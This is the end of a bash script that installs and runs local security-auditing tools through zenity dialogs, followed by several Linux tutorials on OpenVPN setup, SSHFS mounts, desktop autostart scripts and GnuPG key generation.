           echo "$LogTime uss: [$UserName] Updating RKHunter" >> $LogFile                             
           sudo rkhunter --update 2>&1 | zenity --progress --title="RKHunter - $TFCName $TFCVersion" --text="Downloading updates..." --width 400 --auto-close --percentage=33
           sudo rkhunter --propupd 2>&1 | zenity --progress --title="RKHunter - $TFCName $TFCVersion" --text="Updating properties..." --width 400 --auto-close --percentage=85
           echo "# RKHunter installed and updated"
           echo "$LogTime uss: [$UserName] RKHunter installed and updated" >> $LogFile   
          # Ask to run RKHunter scan now
           zenity --question --title "RKHunter - $TFCName $TFCVersion" --text "Would you like to run a RKHunter check now?"
           if [ "$?" -eq "0" ]
             then
                # Run RKHunter check 
                echo "# Running RKHunter check"
                   echo "$LogTime uss: [$UserName] Running RKHunter check" >> $LogFile 
                   # Run RKHunter check and output to Zenity         
                sudo rkhunter --check --nocolors --skip-keypress 2>&1 | zenity --text-info --title "RKHunter - $TFCName $TFCVersion" --width 600 --height 400
                echo "# RKHunter check done"
                echo "$LogTime uss: [$UserName] RKHunter check done" >> $LogFile       
           fi                  
         fi  
     echo "70" ; sleep 0.1
    # 14. Scan open ports - Nmap
       option=$(echo $selection | grep -c "Nmap")
       if [ "$option" -eq "1" ] 
         then
           echo "$LogTime uss: [$UserName] 14. Scan open ports - Nmap" >> $LogFile
           echo "# 14. Scan open ports - Nmap"
           echo "# Check if Nmap is installed..."
           echo "$LogTime uss: [$UserName] Check if Nmap is installed..." >> $LogFile
           if [ -f /usr/bin/nmap ]
             then
                # Nmap already installed
                echo "# Nmap is already installed"
                echo "$LogTime uss: [$UserName] Nmap is already installed" >> $LogFile
           fi
           if [ ! -f /usr/bin/nmap ]
             then
               # Install Nmap
                echo "# Nmap NOT installed, installing..."
                echo "$LogTime uss: [$UserName] Nmap NOT installed, installing..." >> $LogFile
                sudo apt-get install -y nmap 2>&1 | sed -u 's/.* \([0-9]\+%\)\ \+\([0-9.]\+.\) \(.*\)/\1\n# Downloading at \2\/s, ETA \3/' | zenity --progress --title="Downloading File..." --text="Installing Nmap" --auto-close
          fi
           echo "# Nmap installed"
           echo "$LogTime uss: [$UserName] Nmap installed" >> $LogFile   
          # Ask to run Nmap scan now
           zenity --question --title "Nmap - $TFCName $TFCVersion" --text "Would you like to run a Nmap port scan of the localhost now?"
           if [ "$?" -eq "0" ]
             then
                # Run Nmap check 
                echo "# Running Nmap localhost scan"
                   echo "$LogTime uss: [$UserName] Running Nmap locahost scan" >> $LogFile 
                   # Run Nmap check and output to Zenity         
                sudo nmap -v -sT -A localhost 2>&1 | zenity --text-info --title "Nmap Localhost Scan - $TFCName $TFCVersion" --width 800 --height 500
                echo "# Nmap check done"
                echo "$LogTime uss: [$UserName] Nmap check done" >> $LogFile       
           fi                  
         fi  
     echo "75" ; sleep 0.1
    # 15. Analyse system LOG files - LogWatch
       option=$(echo $selection | grep -c "LogWatch")
       if [ "$option" -eq "1" ] 
         then
           echo "$LogTime uss: [$UserName] 15. Analyse system LOG files - LogWatch" >> $LogFile
           echo "# 15. Analyse system LOG files - LogWatch"
           echo "# Check if LogWatch is installed..."
           echo "$LogTime uss: [$UserName] Check if LogWatch is installed..." >> $LogFile
           if [ -f /usr/sbin/logwatch ]
             then
                # LogWatch already installed
                echo "# LogWatch is already installed"
                echo "$LogTime uss: [$UserName] LogWatch is already installed" >> $LogFile
           fi
           if [ ! -f /usr/sbin/logwatch ]
             then
               # Install LogWatch
                echo "# LogWatch NOT installed, installing..."
                echo "$LogTime uss: [$UserName] LogWatch NOT installed, installing..." >> $LogFile
                sudo apt-get install -y logwatch libdate-manip-perl 2>&1 | sed -u 's/.* \([0-9]\+%\)\ \+\([0-9.]\+.\) \(.*\)/\1\n# Downloading at \2\/s, ETA \3/' | zenity --progress --title="Downloading File..." --text="Installing LogWatch" --auto-close
          fi
           echo "# LogWatch installed"
           echo "$LogTime uss: [$UserName] LogWatch installed" >> $LogFile   
          # Ask to run LogWatch scan now
           zenity --question --title "Nmap - $TFCName $TFCVersion" --text "Would you like to run a LogWatch for the past day now?"
           if [ "$?" -eq "0" ]
             then
                # Run LogWatch check 
                echo "# Running LogWatch scan"
                   echo "$LogTime uss: [$UserName] Running LogWatch scan" >> $LogFile 
                   # Run LogWatch check and output to Zenity         
                sudo logwatch | less | zenity --text-info --title "LogWatch Report - $TFCName $TFCVersion" --width 800 --height 500
                echo "# LogWatch scan done"
                echo "$LogTime uss: [$UserName] LogWatch scan done" >> $LogFile       
           fi                  
         fi    
    echo "80" ; sleep 0.1
    # 16. SELinux - Apparmor
       option=$(echo $selection | grep -c "Apparmor")
       if [ "$option" -eq "1" ] 
         then
           echo "$LogTime uss: [$UserName] 16. SELinux - Apparmor" >> $LogFile
           echo "# 16. SELinux - Apparmor"
           echo "# Check if Apparmor is installed..."
           echo "$LogTime uss: [$UserName] Check if Apparmor is installed..." >> $LogFile
           if [ -f /usr/sbin/apparmor_status ]
             then
                # Apparmor already installed
                echo "# Apparmor is already installed"
                echo "$LogTime uss: [$UserName] Apparmor is already installed" >> $LogFile
           fi
           if [ ! -f /usr/sbin/apparmor_status ]
             then
               # Install Apparmor
                echo "# Apparmor NOT installed, installing..."
                echo "$LogTime uss: [$UserName] Apparmor NOT installed, installing..." >> $LogFile
                sudo apt-get install -y apparmor apparmor-profiles 2>&1 | sed -u 's/.* \([0-9]\+%\)\ \+\([0-9.]\+.\) \(.*\)/\1\n# Downloading at \2\/s, ETA \3/' | zenity --progress --title="Downloading File..." --text="Installing Apparmor" --auto-close
          fi
           echo "# Apparmor installed"
           echo "$LogTime uss: [$UserName] Apparmor installed" >> $LogFile   
          # Ask to run Apparmor status check now
           zenity --question --title "Apparmor - $TFCName $TFCVersion" --text "Would you like to check the Apparmor status now?"
           if [ "$?" -eq "0" ]
             then
                # Run Apparmor check 
                echo "# Check Apparmor status"
                   echo "$LogTime uss: [$UserName] Check Apparmor status" >> $LogFile 
                   # Run Apparmor status check and output to Zenity         
                sudo apparmor_status 2>&1 | zenity --text-info --title "Apparmor status check - $TFCName $TFCVersion" --width 600 --height 400
                echo "# Apparmor status check done"
                echo "$LogTime uss: [$UserName] Apparmor status check done" >> $LogFile       
           fi                  
         fi  
    echo "85" ; sleep 0.1
    # 17. Audit your system security - Tiger
       option=$(echo $selection | grep -c "Tiger")
       if [ "$option" -eq "1" ] 
         then
           echo "$LogTime uss: [$UserName] 17. Audit your system security - Tiger" >> $LogFile
           echo "# 17. Audit your system security - Tiger"
           echo "# Check if Tiger is installed..."
           echo "$LogTime uss: [$UserName] Check if Tiger is installed..." >> $LogFile
           if [ -f /usr/sbin/tiger ]
             then
                # Tiger already installed
                echo "# Tiger is already installed"
                echo "$LogTime uss: [$UserName] Tiger is already installed" >> $LogFile
           fi
           if [ ! -f /usr/sbin/tiger ]
             then
               # Install Tiger
                echo "# Tiger NOT installed, installing..."
                echo "$LogTime uss: [$UserName] Tiger NOT installed, installing..." >> $LogFile
                sudo apt-get install -y tiger 2>&1 | sed -u 's/.* \([0-9]\+%\)\ \+\([0-9.]\+.\) \(.*\)/\1\n# Downloading at \2\/s, ETA \3/' | zenity --progress --title="Downloading File..." --text="Installing Tiger" --auto-close
          fi
           echo "# Tiger installed"
           echo "$LogTime uss: [$UserName] Tiger installed" >> $LogFile   
          # Ask to run Tiger audit now
           zenity --question --title "Tiger - $TFCName $TFCVersion" --text "Would you like to run a Tiger system audit now?"
           if [ "$?" -eq "0" ]
             then
                # Run Tiger audit 
                echo "# Run Tiger system audit"
                   echo "$LogTime uss: [$UserName] Run Tiger system audit" >> $LogFile 
                   # Tiger system audit and output to Zenity         
                sudo tiger -e 2>&1 | zenity --text-info --title "Tiger system audit - $TFCName $TFCVersion" --width 800 --height 500
                echo "# Tiger system audit done"
                echo "$LogTime uss: [$UserName] Tiger system audit done" >> $LogFile       
           fi                  
         fi                                              
     echo "100" ; sleep 0.1
     echo "# Installation Complete" ; sleep 0.1
     # End of Zenity Progress code
     ) |
     zenity --progress \
            --title="$TFCName $TFCVersion" \
            --text="Configuring security features..." \
            --width 500 \
            --percentage=0

     if [ "$?" = -1 ] ; then
        zenity --error \
          --text="Installation canceled."
     fi

     exit;
   fi
exit;

Simple Overview of OpenVPN


OpenVPN: Simple Overview

If you want more than just pre-shared keys OpenVPN makes it easy to setup and use a Public Key Infrastructure (PKI) to use SSL/TLS certificates for authentication and key exchange between the VPN server and clients. Open VPN can be used in a routed or bridged VPN mode and can be configured to use either UDP or TCP. The port number can be configured as well, but port 1194 is the official one. And it is only using that single port for all communication. VPN client implementations are available for almost anything including all Linux distributions, OS X, Windows and OpenWRT based WLAN routers.

Server Installation

To install open vpn in a terminal enter:

sudo apt-get install openvpn

Public Key Infrastructure Setup

The first step in building an OpenVPN configuration is to establish a PKI (public key infrastructure). The PKI consists of:

  • a separate certificate (also known as a public key) and private key for the server and each client, and
  • a master Certificate Authority (CA) certificate and key which is used to sign each of the server and client certificates.

OpenVPN supports bidirectional authentication based on certificates, meaning that the client must authenticate the server certificate and the server must authenticate the client certificate before mutual trust is established.

Both server and client will authenticate the other by first verifying that the presented certificate was signed by the master certificate authority (CA), and then by testing information in the now-authenticated certificate header, such as the certificate common name or certificate type (client or server).

Certificate Authority Setup

To setup your own Certificate Authority (CA) and generating certificates and keys for an OpenVPN server and multiple clients first copy theeasy-rsa directory to /etc/openvpn. This will ensure that any changes to the scripts will not be lost when the package is updated. From a terminal change to user root and:

mkdir /etc/openvpn/easy-rsa/
cp -r /usr/share/doc/openvpn/examples/easy-rsa/2.0/* /etc/openvpn/easy-rsa/

Next, edit /etc/openvpn/easy-rsa/vars adjusting the following to your environment:

export KEY_COUNTRY="US"
export KEY_PROVINCE="NC"
export KEY_CITY="Winston-Salem"
export KEY_ORG="Example Company"
export KEY_EMAIL="steve@example.com"

Enter the following to generate the master Certificate Authority (CA) certificate and key:

cd /etc/openvpn/easy-rsa/
source vars
./clean-all
./build-ca

Server Certificates

Next, we will generate a certificate and private key for the server:

./build-key-server myservername

As in the previous step, most parameters can be defaulted. Two other queries require positive responses, “Sign the certificate? [y/n]” and “1 out of 1 certificate requests certified, commit? [y/n]”.

Diffie Hellman parameters must be generated for the server:

./build-dh

All certificates and keys have been generated in the subdirectory keys/. Common practice is to copy them to /etc/openvpn/:

cd keys/
cp myservername.crt myservername.key ca.crt dh1024.pem /etc/openvpn/

Client Certificates

The VPN client will also need a certificate to authenticate itself to the server. Usually you create a different certificate for each client. To create the certificate, enter the following in a terminal while being user root:

cd /etc/openvpn/easy-rsa/
source vars
./build-key client1

Copy the following files to the client using a secure method:

  • /etc/openvpn/ca.crt
  • /etc/openvpn/easy-rsa/keys/client1.crt
  • /etc/openvpn/easy-rsa/keys/client1.key

As the client certificates and keys are only required on the client machine, you should remove them from the server.

Simple Server Configuration

Along with your OpenVPN installation you got these sample config files (and many more if if you check):

root@server:/# ls -l /usr/share/doc/openvpn/examples/sample-config-files/
total 68
-rw-r--r-- 1 root root 3427 2011-07-04 15:09 client.conf
-rw-r--r-- 1 root root 4141 2011-07-04 15:09 server.conf.gz

Start with copying and unpacking server.conf.gz to /etc/openvpn/server.conf.

sudo cp /usr/share/doc/openvpn/examples/sample-config-files/server.conf.gz /etc/openvpn/
sudo gzip -d /etc/openvpn/server.conf.gz

Edit /etc/openvpn/server.conf to make sure the following lines are pointing to the certificates and keys you created in the section above.

ca ca.crt
cert myservername.crt
key myservername.key 
dh dh1024.pem

That is the minimum you have to configure to get a working server. You can use all the default settings in the sample server.conf file. Now start the server. You will find logging and error messages in your syslog.

root@server:/etc/openvpn# /etc/init.d/openvpn start
 * Starting virtual private network daemon(s)...
   *   Autostarting VPN 'server'                     [ OK ]

Now check if OpenVPN created a tun0 interface:

root@server:/etc/openvpn# ifconfig tun0
tun0      Link encap:UNSPEC  HWaddr 00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00  
          inet addr:10.8.0.1  P-t-P:10.8.0.2  Mask:255.255.255.255
          UP POINTOPOINT RUNNING NOARP MULTICAST  MTU:1500  Metric:1
[...]

Simple Client Configuration

There are various different client implementations with and without GUIs. You can read more about clients in a later section. For now we use the OpenVPN client for Ubuntu which is the same executable as the server. So you have to install the openvpn package again on the client machine:

sudo apt-get install openvpn

This time copy the client.conf sample config file to /etc/openvpn/.

sudo cp /usr/share/doc/openvpn/examples/sample-config-files/client.conf /etc/openvpn/

Copy the client keys and the certificate of the CA you created in the section above to e.g. /etc/openvpn/ and edit /etc/openvpn/client.confto make sure the following lines are pointing to those files. If you have the files in /etc/openvpn/ you can omit the path.

ca ca.crt
cert client1.crt
key client1.key

And you have to at least specify the OpenVPN server name or address. Make sure the keyword client is in the config. That’s what enables client mode.

client
remote vpnserver.example.com 1194

Now start the OpenVPN client:

root@client:/etc/openvpn# /etc/init.d/openvpn start
 * Starting virtual private network daemon(s)...   
   *   Autostarting VPN 'client'                          [ OK ]

Check if it created a tun0 interface:

root@client:/etc/openvpn# ifconfig tun0
tun0      Link encap:UNSPEC  HWaddr 00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00  
          inet addr:10.8.0.6  P-t-P:10.8.0.5  Mask:255.255.255.255
          UP POINTOPOINT RUNNING NOARP MULTICAST  MTU:1500  Metric:1

Check if you can ping the OpenVPN server:

root@client:/etc/openvpn# ping 10.8.0.1
PING 10.8.0.1 (10.8.0.1) 56(84) bytes of data.
64 bytes from 10.8.0.1: icmp_req=1 ttl=64 time=0.920 ms

The OpenVPN server always uses the first usable IP address in the client network and only that IP is pingable. E.g. if you configured a /24 for the client network mask, the .1 address will be used. The P-t-P address you see in the ifconfig output above is usually not answering ping requests.

Check out your routes:

root@client:/etc/openvpn# netstat -rn
Kernel IP routing table
Destination     Gateway         Genmask         Flags   MSS Window  irtt Iface
10.8.0.5        0.0.0.0         255.255.255.255 UH        0 0          0 tun0
10.8.0.1        10.8.0.5        255.255.255.255 UGH       0 0          0 tun0
192.168.42.0    0.0.0.0         255.255.255.0   U         0 0          0 eth0
0.0.0.0         192.168.42.1    0.0.0.0         UG        0 0          0 eth0

First trouble shooting

If the above didn’t work for you, check this:

  • Check your syslog, e.g. grep -i vpn /var/log/syslog
  • Can the client connect to the server machine? Maybe a firewall is blocking access? Check syslog on server.
  • Client and server must use same protocol and port, e.g. UDP port 1194, see port and proto config option
  • Client and server must use same config regarding compression, see comp-lzo config option
  • Client and server must use same config regarding bridged vs routed mode, see server vs server-bridge config option

Advanced configuration

ADVANCED ROUTED VPN CONFIGURATION ON SERVER

The above is a very simple working VPN. The client can access services on the VPN server machine through an encrypted tunnel. If you want to reach more servers or anything in other networks, push some routes to the clients. E.g. if your company’s network can be summarized to the network 192.168.0.0/16, you could push this route to the clients. But you will also have to change the routing for the way back – your servers need to know a route to the VPN client-network.

Or you might push a default gateway to all the clients to send all their internet traffic to the VPN gateway first and from there via the company firewall into the internet. This section shows you some possible options.

Push routes to the client to allow it to reach other private subnets behind the server. Remember that these private subnets will also need to know to route the OpenVPN client address pool (10.8.0.0/24) back to the OpenVPN server.

push "route 10.0.0.0 255.0.0.0"

If enabled, this directive will configure all clients to redirect their default network gateway through the VPN, causing all IP traffic such as web browsing and and DNS lookups to go through the VPN (the OpenVPN server machine or your central firewall may need to NAT the TUN/TAP interface to the internet in order for this to work properly).

push "redirect-gateway def1 bypass-dhcp"

Configure server mode and supply a VPN subnet for OpenVPN to draw client addresses from. The server will take 10.8.0.1 for itself, the rest will be made available to clients. Each client will be able to reach the server on 10.8.0.1. Comment this line out if you are ethernet bridging.

server 10.8.0.0 255.255.255.0

Maintain a record of client to virtual IP address associations in this file. If OpenVPN goes down or is restarted, reconnecting clients can be assigned the same virtual IP address from the pool that was previously assigned.

ifconfig-pool-persist ipp.txt

Push DNS servers to the client.

push "dhcp-option DNS 10.0.0.2"
push "dhcp-option DNS 10.1.0.2"

Allow client to client communication.

client-to-client

Enable compression on the VPN link.

comp-lzo

The keepalive directive causes ping-like messages to be sent back and forth over the link so that each side knows when the other side has gone down. Ping every 1 second, assume that remote peer is down if no ping received during a 3 second time period.

keepalive 1 3

It’s a good idea to reduce the OpenVPN daemon’s privileges after initialization.

user nobody
group nogroup

OpenVPN 2.0 includes a feature that allows the OpenVPN server to securely obtain a username and password from a connecting client, and to use that information as a basis for authenticating the client. To use this authentication method, first add the auth-user-pass directive to the client configuration. It will direct the OpenVPN client to query the user for a username/password, passing it on to the server over the secure TLS channel.

# client config!
auth-user-pass

This will tell the OpenVPN server to validate the username/password entered by clients using the login PAM module. Useful if you have centralized authentication with e.g. Kerberos.

plugin /usr/lib/openvpn/openvpn-auth-pam.so login

Please read the OpenVPN hardening security guide for further security advice.

ADVANCED BRIDGED VPN CONFIGURATION ON SERVER

OpenVPN can be setup for either a routed or a bridged VPN mode. Sometimes this is also referred to as OSI layer-2 versus layer-3 VPN. In a bridged VPN all layer-2 frames – e.g. all ethernet frames – are sent to the VPN partners and in a routed VPN only layer-3 packets are sent to VPN partners. In bridged mode all traffic including traffic which was traditionally LAN-local like local network broadcasts, DHCP requests, ARP requests etc. are sent to VPN partners whereas in routed mode this would be filtered.


PREPARE INTERFACE CONFIG FOR BRIDGING ON SERVER

Make sure you have the bridge-utils package installed:

sudo apt-get install bridge-utils

Before you setup OpenVPN in bridged mode you need to change your interface configuration. Let’s assume your server has an interface eth0 connected to the internet and an interface eth1 connected to the LAN you want to bridge. Your /etc/network/interfaces would like this:

auto eth0
iface eth0 inet static
  address 1.2.3.4
  netmask 255.255.255.248
  default 1.2.3.1

auto eth1
iface eth1 inet static
  address 10.0.0.4
  netmask 255.255.255.0

This straight forward interface config needs to be changed into a bridged mode like where the config of interface eth1 moves to the new br0 interface. Plus we configure that br0 should bridge interface eth1. We also need to make sure that interface eth1 is always in promiscuous mode – this tells the interface to forward all ethernet frames to the IP stack.

auto eth0
iface eth0 inet static
  address 1.2.3.4
  netmask 255.255.255.248
  default 1.2.3.1

auto eth1
iface eth1 inet manual
  up ip link set $IFACE up promisc on

auto br0
iface br0 inet static
  address 10.0.0.4
  netmask 255.255.255.0
  bridge_ports eth1

At this point you need to restart networking. Be prepared that this might not work as expected and that you will lose remote connectivity. Make sure you can solve problems having local access.

sudo /etc/init.d/network restart

PREPARE SERVER CONFIG FOR BRIDGING

Edit /etc/openvpn/server.conf changing the following options to:

;dev tun
dev tap
up "/etc/openvpn/up.sh br0 eth1"
;server 10.8.0.0 255.255.255.0
server-bridge 10.0.0.4 255.255.255.0 10.0.0.128 10.0.0.254

Next, create a helper script to add the tap interface to the bridge and to ensure that eth1 is promiscuous mode. Create/etc/openvpn/up.sh:

#!/bin/sh

BR=$1
ETHDEV=$2
TAPDEV=$3

/sbin/ip link set "$TAPDEV" up
/sbin/ip link set "$ETHDEV" promisc on
/sbin/brctl addif $BR $TAPDEV

Then make it executable:

sudo chmod 755 /etc/openvpn/up.sh

After configuring the server, restart openvpn by entering:

sudo /etc/init.d/openvpn restart

Client Configuration

First, install openvpn on the client:

sudo apt-get install openvpn

Then with the server configured and the client certificates copied to the /etc/openvpn/ directory, create a client configuration file by copying the example. In a terminal on the client machine enter:

sudo cp /usr/share/doc/openvpn/examples/sample-config-files/client.conf /etc/openvpn

Now edit /etc/openvpn/client.conf changing the following options:

dev tap
;dev tun

Finally, restart openvpn:

sudo /etc/init.d/openvpn restart

You should now be able to connect to the remote LAN through the VPN.

Client software implementations

LINUX NETWORK-MANAGER GUI FOR OPENVPN

Many Linux distributions including Ubuntu desktop variants come with Network Manager, a nice GUI to configure your network settings. It also can manage your VPN connections. Make sure you have package network-manager-openvpn installed. Here you see that the installation installs all other required packages as well:

root@client:~# apt-get install network-manager-openvpn
Reading package lists... Done
Building dependency tree       
Reading state information... Done
The following extra packages will be installed:
  liblzo2-2 libpkcs11-helper1 network-manager-openvpn-gnome openvpn
Suggested packages:
  resolvconf
The following NEW packages will be installed:
  liblzo2-2 libpkcs11-helper1 network-manager-openvpn
  network-manager-openvpn-gnome openvpn
0 upgraded, 5 newly installed, 0 to remove and 631 not upgraded.
Need to get 700 kB of archives.
After this operation, 3,031 kB of additional disk space will be used.
Do you want to continue [Y/n]?

To inform network-manager about the new installed packages you will have to restart it:

root@client:~# restart network-manager 
network-manager start/running, process 3078

Open the Network Manager GUI, select the VPN tab and then the ‘Add’ button. Select OpenVPN as the VPN type in the opening requester and press ‘Create’. In the next window add the OpenVPN’s server name as the ‘Gateway’, set ‘Type’ to ‘Certificates (TLS)’, point ‘User Certificate’ to your user certificate, ‘CA Certificate’ to your CA certificate and ‘Private Key’ to your private key file. Use the advanced button to enable compression or other special settings you set on the server. Now try to establish your VPN.

OPENVPN WITH GUI FOR MAC OS X: TUNNELBLICK

Tunnelblick is an excellent free, open source implementation of a GUI for OpenVPN for OS X. The project’s homepage is athttp://code.google.com/p/tunnelblick/. Download the latest OS X installer from there and install it. Then put your client.ovpn config file together with the certificates and keys in /Users/username/Library/Application Support/Tunnelblick/Configurations/ and lauch Tunnelblick from your Application folder.

# sample client.ovpn for Tunnelblick
client
remote blue.example.com
port 1194
proto udp
dev tun
dev-type tun
ns-cert-type server
reneg-sec 86400
auth-user-pass
auth-nocache
auth-retry interact
comp-lzo yes
verb 3
ca ca.crt
cert client.crt
key client.key

OPENVPN WITH GUI FOR WIN 7

First download and install the latest OpenVPN Windows Installer. OpenVPN 2.2.1 was the latest when this was written. Additionally download an alternative Open VPN Windows GUI. The OpenVPN MI GUI from http://openvpn-mi-gui.inside-security.de seems to be a nice one for Windows 7. Download the latest version. 20110624 was the latest version when this was written.

You need to start the OpenVPN service. Goto Start > Computer > Manage > Services and Applications > Services. Find the OpenVPN service and start it. Set it’s startup type to automatic. When you start the OpenVPN MI GUI the first time you need to run it as an administrator. You have to right click on it and you will see that option.

You will have to write your OpenVPN config in a textfile and place it in C:\Program Files\OpenVPN\config\client.ovpn along with the CA certificate. You could put the user certificate in the user’s home directory like in the follwing example.

# C:\Program Files\OpenVPN\config\client.ovpn
client
remote server.example.com
port 1194
proto udp
dev tun
dev-type tun
ns-cert-type server
reneg-sec 86400
auth-user-pass
auth-retry interact
comp-lzo yes
verb 3
ca ca.crt
cert "C:\\Users\\username\\My Documents\\openvpn\\client.crt"
key "C:\\Users\\username\\My Documents\\openvpn\\client.key"
management 127.0.0.1 1194
management-hold
management-query-passwords
auth-retry interact

OPENVPN FOR OPENWRT

OpenWRT is described as a Linux distribution for embedded devices like WLAN router. There are certain types of WLAN routers who can be flashed to run OpenWRT. Depending on the available memory on your OpenWRT router you can run software like OpenVPN and you could for example build a small inexpensive branch office router with VPN connectivity to the central office. More info on Open VPN on OpenWRT is here. And here is the OpenWRT project’s homepage: http://openwrt.org

Log into your OpenWRT router and install OpenVPN:

opkg update
opkg install openvpn

Check out /etc/config/openvpn and put you client config in there. Copy certificated and keys to /etc/openvpn/

config openvpn client1
        option enable 1                                  
        option client 1                                  
#       option dev tap                                   
        option dev tun  
        option proto udp   
        option ca /etc/openvpn/ca.crt                
        option cert /etc/openvpn/client.crt
        option key /etc/openvpn/client.key
        option comp_lzo 1

Restart server:

/etc/init.d/openvpn restart

You will have to see if you need to adjust your router’s routing and firewall rules.

Mount a Remote Directory on Linux with SSHFS


How To: Mount Remote Directory

If you ever had to mount a remote directory locally but you only had ssh access to the host where the remote directory resides, and there is no network file system (e.g., NFS ) available to export the directory with, you may want to stick around. You can actually mount a remote directory over ssh, and access the directory via file system interfaces and we will show you how to do this.

Mounting a remote folder over ssh is handled by FUSE kernel module, which allows one to create a virtual file system in user space. sshfs and gvfs are two such virtual file systems built on FUSE that allow one to mount a remote file system over ssh.

Mount a remote directory over ssh with sshfs

To install sshfs on Ubuntu or Debian:

$ sudo apt-get install sshfs

Next, if you want to use sshfs as a non-root user, you need to add the user to a group called fuse. That is:

$ sudo usermod -a -G fuse <user_name>

Run the following to make group membership change activated.

$ exec su -l $USER

Finally, you can mount a remote directory using sshfs as follows.

$ sshfs my_user@remote_host:/path/to/directory <local_mount_point>

The above command will ask you for ssh password for the remote host. Once you enter the password, a remote directory will become available at the local mount point. If you want to set up passwordless mounting, all you have to do is to set up passwordless ssh login to my_user@remote_host.

To unmount a ssh-mounted directory:

$ fusermount -u <local_mount_point>

If you would like to automatically mount over ssh upon boot, set up passwordless ssh login, and append the following in /etc/fstab.

$ sudo vi /etc/fstab
sshfs#my_user@remote_host:/path/to/directory <local_mount_point> fuse user 0 0

Mount a remote directory over ssh on GNOME desktop

If you are using GNOME desktop, mounting over ssh is quite easy. Nautilus, the official file manager for GNOME desktop, already supports mounting over ssh. Underneath it, Nautilus uses gvfs virtual file system which can expose gvfs mounts over ssh using FUSE.

To mount a remote folder over ssh with Nautilus, go to “File”->”Connect to Server” on Nautilus. Then type in the remote ssh server information, remote folder path, as well as ssh login credentials as follows.

Once you click on “Connect” button, a local mount point will automatically be generated, and a remote directory will be mounted there via gvfs. To check a gvfs mount point, run the following.

$ mount
gvfsd-fuse on /run/user/cyberpunk/gvfs type fuse.gvfsd-fuse (rw,nosuid,nodev,user=cyberpunk)
$ ls /run/user/cyberpunk/gvfs
sftp:host=remote_host.com,user=cyberpunk

In this example, the local gvfs mount point is as follows. You can access a remote directory either via command-line at this mount point, or through Nautilus GUI.

/run/user/cyberpunk/gvfs/sftp\:host\=remote_host.com\,user\=cyberpunk/

Automatically run a script when logging into Linux


 Startup Script

There are circumstances where you wish to have a startup script that run automatically when you log in to Ubuntu Desktop. Such a script can configure various user-specific or system-wide settings on your Ubuntu system, upon user’s desktop login.

In Linux, there are start-up scripts named ~/.bash_profile, ~/.bashrc, or ~/.profile which get executed when you start a shell. However, in Ubuntu Desktop, such start-up scripts get executed when you open up a terminal window, but NOT when you log in to Ubuntu Desktop GUI. Also, when you open multiple terminal windows, these kinds of start-up scripts are executed as many times, in order to initialize user’s shell environment in terminal windows.

If what you want is to run a script at the time of user’s Ubuntu Desktop login, you can follow this guideline.

Create a XDG configuration file for the start-up script you want to run.

$ nano ~/.config/autostart/my_script.desktop

[Desktop Entry]
Type=Application
Name=My Script
Exec=~/bin/my_custom_script.sh
Icon=system-run
X-GNOME-Autostart-enabled=true

The above XDG configuration file will set up “user-specific” auto-start. If you want all users to use the same start-up script “system-wide”, create a similar XDG configuration file in the following location instead.

$ sudo nano /etc/xdg/autostart/my_script.desktop

[Desktop Entry]
Type=Application
Name=My Script
Exec=sudo /sbin/my_custom_script.sh
Icon=system-run
X-GNOME-Autostart-enabled=true

If the start-up script requires sudo access like an above example, you will need to set up password-less sudo

PGP Ubuntu


PGP Ubuntu

“GnuPG uses public-key cryptography so that users may communicate securely. In a public-key system, each user has a pair of keys consisting of a private key and a public key. A user’s private key is kept secret; it need never be revealed. The public key may be given to anyone with whom the user wants to communicate.” From The GNU Privacy Handbook

GnuPG, GPG, PGP and OpenPGP

The terms “OpenPGP“, “PGP“, and “GnuPG / GPG” are often used interchangeably. This is a common mistake, since they are distinctly different.

  • OpenPGP is technically a proposed standard, although it is widely used. OpenPGP is not a program, and shouldn’t be referred to as such.
    • PGP and GnuPG are computer programs that implement the OpenPGP standard.
  • PGP is an acronym for Pretty Good Privacy, a computer program which provides cryptographic privacy and authentication.
  • GnuPG is an acronym for Gnu Privacy Guard, another computer program which provides cryptographic privacy and authentication.

Generating an OpenPGP Key

The core package required to start using OpenPGP, gnupg, is installed by default on Ubuntu systems, as is seahorse, a GNOME application for managing keys. It is called “Passwords and Keys” in Ubuntu.

There are several programs which provide a graphical interface to the GnuPG system.

  • Enigmail, an OpenPGP plugin for Mozilla Thunderbird.
    • Enigmail was available in the “Main” repository through Intrepid, but can be found in the “Universe” repository since Jaunty.
sudo apt-get install enigmail
  • GNU Privacy Assistant is a graphical user interface for the GnuPG (GNU Privacy Guard).
    • GPA is available in the “Universe” repository. See Repositories for further information on enabling repositories.
sudo apt-get install gpa
  • Seahorse is a GNOME application for managing encryption keys. It also integrates with nautilus, gedit, and in other places for encryption operations.
    • Seahorse is available in the “Main” repository.
sudo apt-get install seahorse
  • KGPG is a simple, free, open source KDE frontend for gpg.
    • KGPG is available in the “Main” repository since Intrepid, or the “Universe” repository in earlier releases.
sudo apt-get install kgpg
  • Kleopatra is another KDE frontend for gpg that is integrated with the KDE PIM (although you need to install it separately for now).
    • Kleopatra is available in the “Universe” repository and it includes S/MIME backend:
sudo apt-get install kleopatra

Using GnuPG to generate a key

  • Open a terminal and enter:
    gpg --gen-key
    • If you are using gnupg version 1.4.10 or newer, this will lead to a selection screen with the following options:
      Please select what kind of key you want:
         (1) RSA and RSA (default)
         (2) DSA and Elgamal
         (3) DSA (sign only)
         (4) RSA (sign only)
    • Select (1), which will enable both encryption and signing.
    • If you are using an older version, the selection screen will have the following options:
      Please select what kind of key you want:
         (1) DSA and Elgamal (default)
         (2) DSA (sign only)
         (5) RSA (sign only)
    • We suggest you select (5). We will generate an encryption subkey later.
    What keysize do you want? (2048)
  • A keysize of 2048 (which is the default) is also a good choice.
    Key is valid for? (0)
  • Most people make their keys valid until infinity, which is the default option. If you do this don’t forget to revoke the key when you no longer use it (see below).
  • Hit Y and proceed.
    You need a user ID to identify your key; the software constructs the user ID
    from the Real Name, Comment and Email Address in this form:
        "Heinrich Heine (Der Dichter) <heinrichh@duesseldorf.de>"
    
    Real name: Dennis Kaarsemaker
    Email address: dennis@kaarsemaker.net
    Comment: Tutorial key
    You selected this USER-ID:
        "Dennis Kaarsemaker (Tutorial key) <dennis@kaarsemaker.net>"
  • Make sure that the name on the key is not a pseudonym, and that it matches the name in your passport, or other government issued photo-identification! You can add extra e-mail addresses to the key later.
  • Type O to create your key.
    You need a Passphrase to protect your secret key.
